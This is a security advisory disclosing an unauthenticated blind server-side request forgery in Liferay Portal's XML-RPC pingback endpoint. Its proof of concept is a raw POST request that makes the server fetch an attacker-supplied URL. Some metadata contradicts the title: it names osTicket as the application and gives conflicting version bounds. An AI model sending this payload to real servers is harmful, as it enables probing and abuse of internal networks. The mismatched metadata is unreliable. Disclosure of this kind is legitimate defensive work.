Liferay Portal Server-Side Request Forgery

`1. ADVISORY INFORMATION  
  
========================================  
  
Title: Liferay Portal < 7.0.4 Blind Server-Side Request Forgery  
  
Application: osTicket  
  
Remotely Exploitable: Yes  
  
Authentication Required: NO  
  
Versions Affected: <= 7.0.4  
  
Technology: Java  
  
Vendor URL: liferay.com  
  
Date of found: 04 December 2017  
  
Disclosure: 25 June 2018  
  
Author: Mehmet Ince  
  
  
  
2. CREDIT  
  
========================================  
  
This vulnerability was identified during penetration test  
  
by Mehmet INCE from PRODAFT / INVICTUS  
  
  
  
3. Technical Details & POC  
  
========================================  
  
POST /xmlrpc/pingback HTTP/1.1  
  
Host: mehmetince.dev:8080  
  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,  
like Gecko) Chrome/47.0.2526.73 Safari/537.36  
  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
  
Accept-Language: en-US,en;q=0.5  
  
Accept-Encoding: gzip, deflate  
  
Connection: close  
  
Upgrade-Insecure-Requests: 1  
  
Content-Length: 361  
  
  
<?xml version="1.0" encoding="UTF-8"?>  
  
<methodCall>  
  
<methodName>pingback.ping</methodName>  
  
<params>  
  
<param>  
  
<value>http://TARGET/</value>  
  
</param>  
  
<param>  
  
<value>http://mehmetince.dev:8080/web/guest/home/-/blogs/30686</value>  
  
</param>  
  
</params>  
  
</methodCall>  
  
`